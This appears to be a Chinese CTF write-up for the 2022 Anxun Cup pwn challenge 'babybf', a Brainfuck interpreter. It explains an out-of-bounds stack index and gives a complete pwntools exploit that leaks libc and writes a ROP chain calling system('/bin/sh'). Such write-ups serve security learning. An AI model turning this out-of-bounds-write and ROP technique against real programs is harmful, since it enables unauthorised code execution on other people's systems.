2022安洵杯babybf
创始人
2024-03-03 09:36:26

babybf

赛后分析了下,发现是一道很有意思的题目

Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。

其实本题是一个c语言实现的Brainfuck语言的解释器,就是让我们输入Brainfuck语言去pwn

分析:

当然我们一开始啥都不知道,ida打开程序,主要分析这里的数组
请添加图片描述

这里把我们输入的code当作数组的下标进去转换

我们看这个数组是啥东西
请添加图片描述

我们要转换到这些00~08的值的话就要送一些特定的字符

其实这里相当于对应选项v4[0~8],去执行一些命令

请添加图片描述

我们计算一下地址可以得到对应的字符

例:0:(0x2110-0x2020)/4=0x3c=“<”

总结可得:

0:\x3c -->"<"
1:\x3e -->">"
2:\x2b -->"+"
3:\x2d -->"-"
4:\x2e -->"."
5:\x2c -->","
6:\x5b -->"["
7:\x5d -->"]"
8:\x00

这其实就是Brainfuck语言的字符标识

Brainfuck程序可以用下面的替换方法翻译成C语言(这题ptr是在栈上):

BrainfuckC
>++ptr;
<–ptr;
+++*ptr;
-–*ptr;
.putchar(*ptr);
,*ptr =getch();
[while (*ptr) {
]}

利用:

这题漏洞在数组越界,没对下标做检查

我们通过调试可得初始位置ptr在0x7fffe0c1eb60

请添加图片描述

在栈上的固定偏移如下

请添加图片描述

接下来就好做了,(偏移0x20)泄露libc,(偏移0x38)写rop到ret处执行system(“/bin/sh”)

Exp:

from pwn import * 
local_file  = './chall'
local_libc  = './libc-2.27.so'
remote_libc = './libc-2.27.so'
select = 0
if select == 0:r = process(local_file)libc = ELF(local_libc)
elif select == 1:r = remote('node4.buuoj.cn',25904 )libc = ELF(remote_libc)
elf = ELF(local_file)
context.log_level = 'debug'
context.arch = elf.arch
se      = lambda data               :r.send(data) 
sa      = lambda delim,data         :r.sendafter(delim, data)
sl      = lambda data               :r.sendline(data)
sla     = lambda delim,data         :r.sendlineafter(delim, data)
sea     = lambda delim,data         :r.sendafter(delim, data)
rc      = lambda numb=4096          :r.recv(numb)
rl      = lambda                    :r.recvline()
ru      = lambda delims 			:r.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
info    = lambda tag, addr        :r.info(tag + ': {:#x}'.format(addr))
#-----------------------------
def debug(cmd=''):gdb.attach(r,cmd)pause()
def cmd(content):sla("len> ",str(len(content)))sea("code> ",content)
#------------------------
#debug()
cmd(">"*0x20+".>.>.>.>.>.")
libc_base=uu64(ru("\x7f")[-6:])-0x401B40
info("libc_base",libc_base)
pop_rdi = libc_base + next(libc.search(asm('pop rdi\nret')))
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh").next()
ret = libc_base + next(libc.search(asm('ret')))payload=flat(ret,pop_rdi,binsh,system)
print(len(payload))
cmd(">"*0x38+",>"*(len(payload)-1)+',')
r.send(payload)r.interactive()

相关内容

热门资讯

埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
demo什么意思 demo版本... 618快到了,各位的小金库大概也在准备开闸放水了吧。没有小金库的,也该向老婆撒娇卖萌服个软了,一切只...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...